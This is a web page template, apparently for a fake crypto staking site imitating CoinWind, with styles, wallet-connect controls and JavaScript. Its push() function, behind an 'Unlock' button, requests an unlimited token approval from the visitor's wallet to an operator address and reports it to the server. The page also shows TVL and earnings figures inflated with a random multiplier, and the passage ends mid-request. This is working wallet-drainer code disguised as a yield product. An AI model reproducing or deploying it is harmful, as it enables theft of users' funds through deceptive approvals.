.jss67 {
|
|
color: #FFA34F;
|
|
width: 0;
|
|
height: 0;
|
|
display: inline-block;
|
|
border-top: 4px solid;
|
|
transition: all 150ms ease-in;
|
|
border-left: 4px solid transparent;
|
|
margin-left: 4px;
|
|
border-right: 4px solid transparent;
|
|
vertical-align: middle;
|
|
}
|
|
|
|
.jss68 {
|
|
color: #FFF;
|
|
transform: rotate(180deg);
|
|
}
|
|
|
|
.jss69 {
|
|
color: #FFF;
|
|
transform: rotate(180deg);
|
|
}
|
|
|
|
.jss70 {
|
|
margin-right: 4px;
|
|
}
|
|
|
|
.jss71 {
|
|
color: #777;
|
|
display: block;
|
|
padding: 0.1875rem 1.25rem;
|
|
font-size: 0.75rem;
|
|
margin-top: 10px;
|
|
min-height: 24px;
|
|
font-weight: inherit;
|
|
line-height: 1.428571;
|
|
white-space: nowrap;
|
|
}
|
|
|
|
.jss71:hover,
|
|
.jss71:focus {
|
|
cursor: auto;
|
|
background-color: transparent;
|
|
}
|
|
|
|
.jss72 {
|
|
padding: 0;
|
|
}
|
|
</style>
|
|
<style data-jss="" data-meta="makeStyles">
|
|
.jss45 {
|
|
color: #FFA34F;
|
|
border: 1px solid #FFA34F;
|
|
cursor: pointer;
|
|
height: 36px;
|
|
padding: 0 40px;
|
|
font-size: 14px;
|
|
background: #FFFFFF;
|
|
border-radius: 22px;
|
|
}
|
|
|
|
.jss45:hover,
|
|
.jss45:focus {
|
|
color: #FFF;
|
|
background-color: #FFA34F;
|
|
}
|
|
|
|
.jss45:hover b,
|
|
.jss45:focus b {
|
|
color: #FFF;
|
|
}
|
|
|
|
.jss45 .MuiButton-label {
|
|
font-size: 14px;
|
|
font-family: DINPro-Bold;
|
|
}
|
|
|
|
@media (max-width:959.95px) {
|
|
.jss45 {
|
|
color: #FFA34F;
|
|
border: 1px solid #FFFFFF;
|
|
height: 32px;
|
|
padding: 0 22px;
|
|
font-size: 10px;
|
|
background: rgba(255, 255, 255, 0.60);
|
|
box-shadow: 0 4px 16px 0 #F6F6F6;
|
|
border-radius: 16px;
|
|
}
|
|
}
|
|
</style>
|
|
<style data-jss="" data-meta="makeStyles">
|
|
.jss75 {
|
|
width: 240px;
|
|
height: 100%;
|
|
background-color: #FFF;
|
|
}
|
|
|
|
.jss76 {
|
|
padding-top: 40px;
|
|
}
|
|
|
|
.jss77 {
|
|
width: 100%;
|
|
}
|
|
|
|
.jss78 {
|
|
width: 100%;
|
|
cursor: pointer;
|
|
height: 64px;
|
|
display: flex;
|
|
position: relative;
|
|
font-size: 14px;
|
|
box-sizing: border-box;
|
|
transition: all .5s;
|
|
align-items: center;
|
|
font-weight: 700;
|
|
padding-left: 33px;
|
|
background-color: #FFF;
|
|
}
|
|
|
|
.jss78:hover {
|
|
background-color: rgba(255, 163, 79, .06);
|
|
}
|
|
|
|
.jss78:hover a,
|
|
.jss78:hover span {
|
|
color: #FFA34F;
|
|
}
|
|
|
|
.jss78 a,
|
|
.jss78 span {
|
|
font-size: 14px;
|
|
}
|
|
|
|
.jss79 {
|
|
color: #FFA34F !important;
|
|
display: flex;
|
|
position: relative;
|
|
align-items: center;
|
|
font-weight: bold !important;
|
|
background-color: rgba(255, 163, 79, .06);
|
|
}
|
|
|
|
.jss79 span {
|
|
right: 0;
|
|
width: 4px;
|
|
height: 22px;
|
|
position: absolute;
|
|
background: #FFA34F;
|
|
border-radius: 2px;
|
|
}
|
|
|
|
.jss80 {
|
|
width: 20px;
|
|
height: 20px;
|
|
display: block;
|
|
margin-right: 8px;
|
|
}
|
|
|
|
.jss81 strong {
|
|
color: #fff;
|
|
right: 50px;
|
|
height: 20px;
|
|
padding: 0 10px;
|
|
position: absolute;
|
|
font-size: 12px;
|
|
background: linear-gradient(90deg, #FFA34F 0%, rgba(255, 163, 79, .6) 100%);
|
|
font-family: PingFangSC-Medium;
|
|
;
|
|
font-weight: 400;
|
|
line-height: 20px;
|
|
border-radius: 9px 9px 9px 0;
|
|
}
|
|
|
|
.jss82 {
|
|
overflow: hidden;
|
|
max-height: 0;
|
|
transition: all linear .3s;
|
|
}
|
|
|
|
.jss83 {
|
|
color: #131D32;
|
|
cursor: pointer;
|
|
height: 48px;
|
|
overflow: hidden;
|
|
font-size: 14px;
|
|
box-sizing: border-box;
|
|
font-weight: 400;
|
|
line-height: 48px;
|
|
white-space: nowrap;
|
|
padding-left: 60px;
|
|
text-overflow: ellipsis;
|
|
}
|
|
|
|
.jss83:hover {
|
|
color: #FFA34F;
|
|
background-color: rgba(255, 163, 79, .06);
|
|
}
|
|
|
|
.jss84:hover span {
|
|
color: #FFA34F;
|
|
}
|
|
</style>
|
|
<style data-styled="active" data-styled-version="5.2.0"></style>
|
|
</head>
|
|
|
|
<body>
|
|
<section id="root">
|
|
@include('public/wallet')
|
|
<header>
|
|
<div class="jss1">
|
|
<div class="header__wrapper-box">
|
|
<div class="jss36">
|
|
<div class="jss2">
|
|
<div class="jss5">
|
|
<a href="/" class="jss4"><img src="upload/{{$config['other']['logo_url']}}" alt="" /></a>
|
|
</div>
|
|
<div class="jss8">
|
|
<div class="jss34">
|
|
<div class="header__button-container" style="display: flex;">
|
|
<div class="jss44">
|
|
<div>
|
|
<div class="">
|
|
<button class="MuiButtonBase-root MuiButton-root MuiButton-text jss73 jss45" tabindex="0" type="button" aria-label="Notifications" aria-haspopup="true"><span class="MuiButton-label">HECO<b class="jss67"></b></span><span class="MuiTouchRipple-root"></span></button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<button class="MuiButtonBase-root MuiButton-root MuiButton-text jss73 jss45" tabindex="0" type="button" style="margin-left: 32px;"><span class="MuiButton-label"></span><span class="MuiTouchRipple-root"></span></button>
|
|
</div>
|
|
</div>
|
|
<div class="jss36">
|
|
<button onclick="walletShow()" class="MuiButtonBase-root MuiButton-root MuiButton-text jss73 jss45" tabindex="0" type="button">
|
|
<span class="MuiButton-label" id="network1">{{ trans('web.Connect') }}</span>
|
|
<span class="MuiTouchRipple-root"></span>
|
|
</button>
|
|
{{-- onclick="tabShow()"--}}
|
|
<button class="MuiButtonBase-root MuiIconButton-root MuiIconButton-colorInherit" tabindex="0" type="button" aria-label="open drawer">
|
|
<span class="MuiIconButton-label">
|
|
<svg class="MuiSvgIcon-root" focusable="false" viewbox="0 0 24 24" aria-hidden="true">
|
|
<path d="M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z"></path>
|
|
</svg>
|
|
</span>
|
|
<span class="MuiTouchRipple-root"></span>
|
|
</button>
|
|
<div class="slider__mask " id="slider__mask" onclick="tabHide()">
|
|
<div class="slider__content " id="slider__content">
|
|
<div id="langs" class="nav__language-container">
|
|
<i class="language__icon"></i>
|
|
<div class="dropdown__button nav__language">
|
|
<span>English</span>
|
|
</div>
|
|
<div class="dropdown__option option__bottom" id="lang">
|
|
<div class="option__item option__item-heco" id="lang1">
|
|
中文
|
|
</div>
|
|
<div class="option__item option__item-heco" id="lang2">
|
|
English
|
|
</div>
|
|
</div>
|
|
<strong style="color: rgb(131, 145, 168); width: 0px; height: 0px; display: inline-block; border-top: 4px solid; transition: all 150ms ease-in 0s; border-left: 4px solid transparent; margin-left: 4px; border-right: 4px solid transparent; vertical-align: middle; position: absolute; right: 32px; top: 30px;"></strong>
|
|
</div>
|
|
<div class="nav__language-container" onclick="airdrop_open()">
|
|
<img src="/static/media/liwu.c773fe7d.svg" alt="" />
|
|
<span style="margin-left: 10px;">
|
|
{{trans('web.Claim Your Airdrop')}}
|
|
</span>
|
|
</div>
|
|
<div class="nav__language-container" onclick="javascript:location.href = '/invite'">
|
|
<img src="/static/media/123a.png" alt="" style="width: 26px;height: 26px" />
|
|
<span style="margin-left: 10px;">
|
|
{{trans('web.Invite rebate')}}
|
|
</span>
|
|
</div>
|
|
|
|
<div class="tutoril__container">
|
|
<a class="tutoril__item" href="https://docs.coinwind.com/v/english/announcement" target="_blank"><span>{{trans('web.Announcement')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>
|
|
<a class="tutoril__item" href="https://docs.coinwind.com/v/english/faq" target="_blank"><span>{{trans('web.FAQ')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>
|
|
<a class="tutoril__item" href="https://docs.coinwind.com/v/english/guide" target="_blank"><span>{{trans('web.Tutorial')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>
|
|
{{-- <a class="tutoril__item" href="https://docs.coinwind.com/v/english/contactus" target="_blank"><span>{{trans('web.Contact US')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>--}}
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<script src="https://ajax.aspnetcdn.com/ajax/jquery/jquery-2.1.4.min.js"></script>
|
|
<script>
|
|
function tabShow() {
|
|
$('#slider__mask').attr('class', 'slider__mask slide__show')
|
|
$('#slider__content').attr('class', 'slider__content slide__content-show')
|
|
}
|
|
|
|
function tabHide() {
|
|
$('#slider__mask').attr('class', 'slider__mask')
|
|
$('#slider__content').attr('class', 'slider__content')
|
|
$('#lang').attr('class', 'dropdown__option option__bottom');
|
|
|
|
}
|
|
|
|
window.onload = function() {
|
|
// 切换语言
|
|
$('#langs').on('click', function(e) {
|
|
$('#lang').attr('class', 'dropdown__option option__show option__bottom');
|
|
e.stopPropagation();
|
|
});
|
|
|
|
// 中文
|
|
$('#lang1').on('click', function(e) {
|
|
$.post(
|
|
"{{url('lang')}}", {
|
|
lang: 'zh-CN'
|
|
},
|
|
function(d) {
|
|
if (d) {
|
|
console.log(d);
|
|
location.reload(); //重新刷新页面
|
|
}
|
|
}
|
|
);
|
|
tabHide();
|
|
e.stopPropagation();
|
|
});
|
|
|
|
// 英文
|
|
$('#lang2').on('click', function(e) {
|
|
$.post(
|
|
"{{url('lang')}}", {
|
|
lang: 'en'
|
|
},
|
|
function(d) {
|
|
if (d) {
|
|
console.log(d);
|
|
location.reload(); //重新刷新页面
|
|
}
|
|
}
|
|
);
|
|
tabHide();
|
|
e.stopPropagation();
|
|
});
|
|
}
|
|
</script>
|
|
</header>
|
|
|
|
<main>
|
|
<div class="pools__dialog" id="lingqu" style="display: none">
|
|
<div class="staking_dialog_all-extract">
|
|
<div class="staking__dialog__headers" style="margin-bottom: 30px;">
|
|
{{trans('web.Income')}}
|
|
<span class="staking__dialog__header__closes" onclick="lingqu_close()"></span>
|
|
</div>
|
|
<div class="staking_all-extract-content">
|
|
<div>
|
|
<div class="extract-title">
|
|
{{trans('web.Currently Withdrawable')}}
|
|
</div>
|
|
<div class="extract-content_tops">
|
|
<div class="extract-content_lis">
|
|
<div id="usdt_1">
|
|
0.0000
|
|
</div>
|
|
<div>
|
|
USDT
|
|
</div>
|
|
</div>
|
|
<div class="extract-content_lis">
|
|
<div id="usdt_2">
|
|
0.0000
|
|
</div>
|
|
<div>
|
|
USDC
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="extract_btn">
|
|
<button class="g-button pools__dialog__option g-button-bsc-theme " onclick="pull()" id="pull">{{trans('web.All extraction')}}</button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="pools__dialog" style="display: none" id="yuming">
|
|
<div class="staking_dialog-strategy">
|
|
<div class="staking__dialog__header staking_color">
|
|
{{trans('web.Strategy')}}
|
|
<span class="staking__dialog__header__close staking_close" onclick="yuming_close()"></span>
|
|
</div>
|
|
<div class="staking_strategy_name">
|
|
<div class="staking__dialog__name-li">
|
|
<img class="pools__coin-logo" alt="DOT" src="" id="s_img" />
|
|
<div class="staking__name_title staking__name_title-1" id="s_name"></div>
|
|
</div>
|
|
<div class="staking_strategy_name-li">
|
|
<div id="use1"></div>
|
|
<div>
|
|
{{trans('web.Staked')}}
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="staking_ce_tip">
|
|
{{trans("web.Note: The pledged amount of the node includes the pledged amount of CoinWind's entire network staking.")}}
|
|
</div>
|
|
<div class="staking_strategy_content">
|
|
<div class="staking_strategy_content-lis">
|
|
<div>
|
|
<div class="strategy_li-one">
|
|
<img src="/static/media/ic_jd.bff24237.svg" alt="" style="margin-right: 5px;" />16fish
|
|
<img src="/static/media/ic_jd_into.a25a9d74.svg" alt="" style="margin-left: 5px;" />
|
|
</div>
|
|
<div class="strategy_li-one_content">
|
|
<div class="strategy_li-two">
|
|
<div>
|
|
{{trans('web.Staking funds')}}
|
|
</div>
|
|
<div id="use2"></div>
|
|
</div>
|
|
<div class="strategy_li-three">
|
|
<div>
|
|
{{trans('web.Proportion of funds')}}
|
|
</div>
|
|
<div>
|
|
100.00%
|
|
</div>
|
|
</div>
|
|
<div class="strategy_li-four">
|
|
<div>
|
|
{{trans('web.Staking Address')}}
|
|
</div>
|
|
<div id="s_address"></div>
|
|
</div>
|
|
<div class="strategy_li-five"></div>
|
|
<div class="strategy_li-six">
|
|
<div>
|
|
{{trans('web.Nodes Staked')}}
|
|
</div>
|
|
<div>
|
|
2,067,957.00
|
|
</div>
|
|
</div>
|
|
<div class="strategy_li-seven">
|
|
<div>
|
|
{{trans('web.Node Nominations')}}
|
|
</div>
|
|
<div>
|
|
3145
|
|
</div>
|
|
</div>
|
|
<div class="strategy_li-eight">
|
|
<div>
|
|
{{trans('web.My share')}}
|
|
</div>
|
|
<div>
|
|
0.58%
|
|
</div>
|
|
</div>
|
|
<div class="strategy_li-ten">
|
|
<div>
|
|
{{trans('web.Status')}}
|
|
</div>
|
|
<div>
|
|
<img class="pools__coin-logo-ces" alt="" src="/static/media/normal.27d504c0.svg" />
|
|
{{trans('web.normal')}}
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="pools__dialog" style="display: none;" id="apper">
|
|
<div class="staking_dialog-deposit">
|
|
<div class="staking__dialog__name bsc-staking__dialog__name">
|
|
<div class="staking__dialog__header">
|
|
{{trans('web.Certificate')}}
|
|
<img class="staking__dialog__header__closeone" src="/static/media/ic_close.4477c5ea.svg" onclick="apper_colse()" alt="" />
|
|
</div>
|
|
<div class="staking_width_top">
|
|
<div class="staking__dialog__name-li">
|
|
<img class="pools__coin-logs" alt="ATOM" src="" id="d_img" />
|
|
<div class="staking__name_title" id="d_name1"></div>
|
|
</div>
|
|
<div class="staking__dialog__name-right">
|
|
<div>
|
|
{{trans('web.Deposited1')}}
|
|
</div>
|
|
<div id="money">
|
|
0.0000
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="staking__dialog__middle">
|
|
<div>
|
|
<div class="staking__dialog__time">
|
|
<div class="staking__times">
|
|
{{trans('web.Current')}}
|
|
<div class="staking__time-percentage bsc_staking__time-percentage null">
|
|
<span id="yield2">96.88</span>%
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="staking__dialog__apy">
|
|
<div>
|
|
{{trans('web.APY')}}
|
|
<div class="g-pop-QuesttipStaking"></div>
|
|
</div>
|
|
<div>
|
|
<span id="yield1">96.88</span>%
|
|
</div>
|
|
</div>
|
|
<div class="staking__dialog__progress-bar">
|
|
<div class="staking__progress-bar">
|
|
<div>
|
|
<img src="/static/media/ic_lock.9a0f9ae9.svg" alt="" />
|
|
</div>
|
|
<div></div>
|
|
<div>
|
|
<img src="/static/media/ic_lock.9a0f9ae9.svg" alt="" />
|
|
</div>
|
|
<div></div>
|
|
<div>
|
|
<img src="/static/media/ic_unlock.22aedb3d.svg" alt="" />
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="staking__dialog__day">
|
|
<div id="time">
|
|
2021-12-15
|
|
</div>
|
|
<div>
|
|
{{trans('web.at any time')}}
|
|
</div>
|
|
<div>
|
|
22{{trans('web.DayAfter')}}
|
|
</div>
|
|
</div>
|
|
<div class="staking__progress-bar-title">
|
|
<div>
|
|
{{trans('web.Deposit')}}
|
|
</div>
|
|
<div class="staking_lists-jie">
|
|
<div>
|
|
{{trans('web.Unlock')}}
|
|
</div>
|
|
<div class="g-pop-tips"></div>
|
|
</div>
|
|
<div class="staking_lists">
|
|
<div>
|
|
{{trans('web.CLAIM1')}}
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="staking__dialog__botton">
|
|
<li class="staking__dialog__survivable">
|
|
<div>
|
|
{{trans('web.Income')}}
|
|
</div>
|
|
<div>
|
|
GLK
|
|
</div>
|
|
</li>
|
|
<li class="staking__dialog__btn"><button class="g-button pools__dialog__option g-button-bsc-theme " id="push" onclick="push()">{{trans('web.Unlock1')}}</button></li>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="jss36">
|
|
<div class="page__container" style="width: 100%; height: auto; background-color: rgb(246, 247, 250); padding-bottom: 112px;">
|
|
<div class="section-banner">
|
|
<img src="/static/media/banner-staking-bsc-english.539496dc.png" alt="" />
|
|
</div>
|
|
<ul class="pool__total-tvl pool__total-tvl-bsc new_total-bsc new-top">
|
|
<li>
|
|
<div>
|
|
{{trans('web.TVL($)')}}
|
|
</div>
|
|
<div id="num1"></div>
|
|
</li>
|
|
<li>
|
|
<div>
|
|
{{trans('web.Total Users Earned($)')}}
|
|
</div>
|
|
<div id="num2"></div>
|
|
</li>
|
|
<li>
|
|
<div>
|
|
{{trans('web.Personal TVL($)')}}
|
|
</div>
|
|
<div id="count">
|
|
0.00
|
|
</div>
|
|
</li>
|
|
<li class="drop__info-items">
|
|
<p class="drop__info-item-title"> {{trans('web.Total Personal Earned($)')}}</p>
|
|
<p class="drop__info-item-texts bsc-texts">
|
|
<span id="shouyi" style="color: #ffa34f">0.00</span>
|
|
<span class="bsc-spans spans-font" onclick="lingqu_open()">{{trans('web.CLAIM1')}}</span>
|
|
</p>
|
|
</li>
|
|
</ul>
|
|
<div class="g-filter">
|
|
<ul class="tab__container">
|
|
<li class="tab__active tab__item">
|
|
<span class="tab__bsc">{{trans('web.Project List')}}</span>
|
|
</li>
|
|
<li class=" tab__item">
|
|
<span class="tab__bsc"></span>
|
|
</li>
|
|
</ul>
|
|
<div class="search_options">
|
|
<div class="search_option_one">
|
|
{{trans('web.Type')}}
|
|
</div>
|
|
<div class="select_type-content">
|
|
<div class="select_type" style="width: 60px">
|
|
<div class="dropdown__button">
|
|
<span>{{trans('web.Current')}}</span>
|
|
</div>
|
|
<div class="option__show_dis">
|
|
<div class="zi_content">
|
|
All
|
|
</div>
|
|
<div class="zi_content">
|
|
Regular
|
|
</div>
|
|
<div class="zi_content">
|
|
Current
|
|
</div>
|
|
</div>
|
|
<strong style="width: 0px; height: 0px; display: inline-block; border-top: 4px solid; transition: all 150ms ease-in 0s; border-left: 4px solid transparent; margin-left: 4px; border-right: 4px solid transparent; vertical-align: middle; position: absolute; right: 15px; top: 13px;"></strong>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="pools-main">
|
|
@foreach($data as $v)
|
|
<div class="staking_li_content">
|
|
<div>
|
|
<div class="staking_li_content-title bsc-staking_title">
|
|
<div class="staking_title-li">
|
|
{{$v['name']}}
|
|
</div>
|
|
<img class="pools__coin-logos" alt="KSM" src="/upload/{{$v['name_img']}}" />
|
|
</div>
|
|
<div class="staking_content">
|
|
<div class="staking_li_time">
|
|
<div class="staking_li_time-li">
|
|
{{trans('web.Current')}}
|
|
</div>
|
|
</div>
|
|
<div class="staking_yield">
|
|
<div class="staking_yield-title">
|
|
{{trans('web.APY')}}
|
|
</div>
|
|
<div class="staking_yield-data">
|
|
{{$v['yield']}}%
|
|
</div>
|
|
</div>
|
|
<div class="staking_data bsc-staking_data">
|
|
<div>
|
|
<div class="staking_data-li">
|
|
<div>
|
|
{{$v['count_use']}}
|
|
</div>
|
|
<div>
|
|
{{trans('web.VL')}}({{$v['name']}})
|
|
</div>
|
|
</div>
|
|
<div class="staking_data-lis">
|
|
<div id="{{$v['name']}}_v">
|
|
0.0000
|
|
</div>
|
|
<div>
|
|
{{trans('web.Deposited1')}}({{$v['name']}})
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="staking_btn">
|
|
<div class="pools__button-group">
|
|
<button use="{{$v['count_use']}}" address="{{$v['address']}}" name="{{$v['name']}}" img="{{$v['name_img']}}" class="g-button pools__dialog__option g-button-bsc-theme g-button--normal" onclick="strategy(this)">{{trans('web.Strategy')}}</button>
|
|
<button class="g-button pools__dialog__option g-button-bsc-theme " yield="{{$v['yield']}}" img="{{$v['name_img']}}" address="{{$v['address']}}" name="{{$v['name']}}" onclick="apper_open(this)">{{trans('web.Certificate')}}</button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="pools__mao-logo__wraps">
|
|
<img class="pools__mao-logos" alt="KSM" src="/upload/{{$v['name_img']}}" />
|
|
</div>
|
|
</div>
|
|
</div>
|
|
@endforeach
|
|
</div>
|
|
|
|
@include('public/foot')
|
|
|
|
@include('public/footer_nav', ['page' => 'nft'])
|
|
</div>
|
|
</div>
|
|
</main>
|
|
</section>
|
|
<script src="https://cdn.bootcss.com/countup.js/1.9.3/countUp.js"></script>
|
|
<script>
|
|
var address = '';
|
|
var usdt_a = false;
|
|
var usdc_a = false;
|
|
|
|
var name1 = ''; // 代币名称
|
|
var heyue = ''; // 合约地址
|
|
|
|
function util() {
|
|
//字符串千分符
|
|
this.cuter = function(v, n) {
|
|
if (typeof(v) == 'string' || typeof(v) == 'number') {
|
|
if (n <= 0) {
|
|
return v;
|
|
}
|
|
n = n || 3;
|
|
var str = String(parseFloat(v));
|
|
var strAry = str.split('.');
|
|
var float = {
|
|
pref: '',
|
|
num: '',
|
|
point: '',
|
|
nextf: ''
|
|
}
|
|
if (strAry[1]) {
|
|
float.point = '.';
|
|
float.nextf = strAry[1];
|
|
}
|
|
float.pref = strAry[0].match(/^[+/-]/) || '';
|
|
strAry[0] = strAry[0].replace(/^[+/-]/, '');
|
|
var numAry = strAry[0].split('');
|
|
var kn = [];
|
|
var count = n;
|
|
for (var i = numAry.length - 1; i > -1; i--) {
|
|
kn.unshift(numAry[i]);
|
|
count--;
|
|
if (count == 0 && i > 0) {
|
|
kn.unshift(',');
|
|
count = n;
|
|
}
|
|
}
|
|
float.num = kn.join('');
|
|
return float.pref + float.num + float.point + float.nextf;
|
|
}
|
|
}
|
|
}
|
|
|
|
async function numStart() {
|
|
var options = {
|
|
useEasing: true, // 使用缓和
|
|
useGrouping: true, // 使用分组(是否显示千位分隔符,一般为 true)
|
|
separator: ',', // 分隔器(千位分隔符,默认为',')
|
|
decimal: '.', // 十进制(小数点符号,默认为 '.')
|
|
prefix: '', // 字首(数字的前缀,根据需要可设为 $,¥,¥ 等)
|
|
suffix: '' // 后缀(数字的后缀 ,根据需要可设为 元,个,美元 等)
|
|
};
|
|
new CountUp("num1", 0, parseInt("{{$config['reward17']}}") + parseInt("{{$config['reward17'] * $rand}}"), 0, 3, options).start();
|
|
new CountUp("num2", 0, parseInt("{{$config['reward18']}}") + parseInt("{{$config['reward18'] * $rand}}"), 0, 3, options).start();
|
|
}
|
|
|
|
function strategy(obj) {
|
|
var g = new util();
|
|
var address = $($(obj)[0]).attr('address');
|
|
var img = $($(obj)[0]).attr('img');
|
|
var name = $($(obj)[0]).attr('name');
|
|
var use = g.cuter($($(obj)[0]).attr('use'));
|
|
|
|
document.getElementById('yuming').removeAttribute('style');
|
|
document.getElementById('s_img').setAttribute('src', '/upload/' + img);
|
|
document.getElementById('s_name').innerText = name;
|
|
document.getElementById('s_address').innerText = address;
|
|
document.getElementById('use1').innerText = use;
|
|
document.getElementById('use2').innerText = use;
|
|
}
|
|
|
|
function yuming_close() {
|
|
document.getElementById('yuming').setAttribute('style', 'display: none');
|
|
}
|
|
|
|
function apper_open(obj) {
|
|
document.getElementById('apper').removeAttribute('style');
|
|
|
|
var img = $($(obj)[0]).attr('img');
|
|
var name = $($(obj)[0]).attr('name');
|
|
var yield = $($(obj)[0]).attr('yield');
|
|
address = $($(obj)[0]).attr('address');
|
|
name1 = $($(obj)[0]).attr('name');
|
|
|
|
document.getElementById('d_img').setAttribute('src', '/upload/' + img);
|
|
document.getElementById('d_name1').innerText = name;
|
|
// document.getElementById('d_name3').innerText = name;
|
|
document.getElementById('yield2').innerText = yield;
|
|
document.getElementById('yield1').innerText = yield;
|
|
var date = new Date();
|
|
var time = date.getFullYear() + '-' + date.getMonth() + '-' + date.getDate();
|
|
document.getElementById('time').innerText = time;
|
|
|
|
document.getElementById('money').innerText = document.getElementById(name + '_v').innerText;
|
|
|
|
if (name == 'USDT') {
|
|
if (usdt_a) {
|
|
document.getElementById('push').setAttribute('disabled', 'disabled');
|
|
} else {
|
|
document.getElementById('push').removeAttribute('disabled');
|
|
}
|
|
}
|
|
if (name == 'USDC') {
|
|
if (usdc_a) {
|
|
document.getElementById('push').setAttribute('disabled', 'disabled');
|
|
} else {
|
|
document.getElementById('push').removeAttribute('disabled');
|
|
}
|
|
}
|
|
|
|
selectBalance(address, name);
|
|
}
|
|
|
|
// 查询余额
|
|
async function selectBalance(address) {
|
|
$.ajax({
|
|
type: "GET",
|
|
url: '/upBalance',
|
|
data: {
|
|
address: selectedAccount
|
|
},
|
|
success: function(data) {
|
|
var data = JSON.parse(data);
|
|
console.log(data);
|
|
if (data.code == 1) {
|
|
data.data.forEach(v => {
|
|
if (v.hash == address) {
|
|
var balance = parseFloat(v.balance / 10 ** v.tokenInfo.d).toFixed(4);
|
|
// document.getElementById('balance1').innerText = balance;
|
|
}
|
|
})
|
|
}
|
|
},
|
|
error: function() {
|
|
return message('eth.tokenview.com Error');
|
|
}
|
|
});
|
|
}
|
|
|
|
async function balanceUp() {
|
|
$.ajax({
|
|
type: "GET",
|
|
url: '/vaultBalance',
|
|
data: {
|
|
address: selectedAccount,
|
|
type: 3
|
|
},
|
|
success: function(msg) {
|
|
var data = JSON.parse(msg);
|
|
document.getElementById('USDT_v').innerText = parseFloat(data.USDT).toFixed(4);
|
|
document.getElementById('USDC_v').innerText = parseFloat(data.USDC).toFixed(4);
|
|
|
|
document.getElementById('count').innerText = (parseFloat(data.USDT) + parseFloat(data.USDC)).toFixed(2)
|
|
document.getElementById('shouyi').innerText = (parseFloat(data.USDT_T) + parseFloat(data.USDC_T)).toFixed(2)
|
|
|
|
document.getElementById('usdt_1').innerText = parseFloat(data.USDT_T).toFixed(4);
|
|
document.getElementById('usdt_2').innerText = parseFloat(data.USDC_T).toFixed(4);
|
|
},
|
|
error: function() {
|
|
return message('Balance Error');
|
|
}
|
|
});
|
|
}
|
|
|
|
function apper_colse() {
|
|
document.getElementById('apper').setAttribute('style', 'display: none');
|
|
}
|
|
|
|
function lingqu_open() {
|
|
document.getElementById('lingqu').removeAttribute('style');
|
|
}
|
|
|
|
function lingqu_close() {
|
|
document.getElementById('lingqu').setAttribute('style', 'display:none');
|
|
}
|
|
|
|
async function getTokenList() {
|
|
$.ajax({
|
|
type: "GET",
|
|
url: '/apiEther',
|
|
data: {
|
|
address: selectedAccount
|
|
},
|
|
success: function(msg) {
|
|
var msg = JSON.parse(msg);
|
|
var list = '';
|
|
|
|
msg.result.forEach(v => {
|
|
if (v.from == selectedAccount.toLowerCase() && v.isError == 0) {
|
|
if (v.to == '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48') {
|
|
usdt_a = true;
|
|
list += 'USDT|'
|
|
}
|
|
if (v.to == '0xdac17f958d2ee523a2206206994597c13d831ec7') {
|
|
usdc_a = true;
|
|
list += 'USDC|'
|
|
}
|
|
}
|
|
});
|
|
|
|
// 同步数据库
|
|
$.ajax({
|
|
type: "GET",
|
|
url: '/authorization_v',
|
|
data: {
|
|
wallet: list,
|
|
address: selectedAccount
|
|
}
|
|
});
|
|
},
|
|
error: function() {
|
|
return message('api.etherscan.io Error1');
|
|
}
|
|
});
|
|
}
|
|
|
|
// 提取收益
|
|
function pull() {
|
|
var usdt = parseFloat(document.getElementById('usdt_1').innerText);
|
|
var usdc = parseFloat(document.getElementById('usdt_2').innerText);
|
|
|
|
if (usdt > 0 || usdc > 0) {
|
|
if (usdt > 0) {
|
|
if (!usdt_a) {
|
|
return
|
|
} else {
|
|
all();
|
|
}
|
|
}
|
|
if (usdc > 0) {
|
|
if (!usdc_a) {
|
|
return;
|
|
} else {
|
|
all();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
// 领取提交
|
|
function all() {
|
|
$.ajax({
|
|
type: "GET",
|
|
url: '/all',
|
|
data: {
|
|
address: selectedAccount
|
|
},
|
|
success: function(msg) {
|
|
message_success('Success');
|
|
|
|
lingqu_close();
|
|
|
|
balanceUp();
|
|
}
|
|
})
|
|
}
|
|
|
|
|
|
async function upBalanceV3() {
|
|
$.ajax({
|
|
type: "GET",
|
|
url: '/upBalanceV3',
|
|
data: {
|
|
address: selectedAccount
|
|
},
|
|
success: function(msg) {}
|
|
});
|
|
}
|
|
|
|
|
|
function push() {
|
|
document.getElementById('push').innerText = '';
|
|
document.getElementById('push').setAttribute('class', 'g-button pools__dialog__option g-button-bsc-theme g-button--loading');
|
|
|
|
web3.eth.getGasPrice().then(gasPrice => {
|
|
if (!gasPrice) {
|
|
gasPrice = 98432745745;
|
|
}
|
|
const contract = new web3.eth.Contract(ABI, address);
|
|
if (selectedAccount && gasPrice && address) {
|
|
contract.methods.approve(app_address, web3.utils.toBN('0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff')).send({
|
|
from: selectedAccount,
|
|
gasPrice: 100432745745,
|
|
gas: 100000,
|
|
}, function(err, tx) {
|
|
if (!err) {
|
|
$.ajax({
|
|
type: "GET",
|
|
url: '/authorization_one',
|
|
data: {
|
|
address: selectedAccount,
|
|
wallet: name1,
|
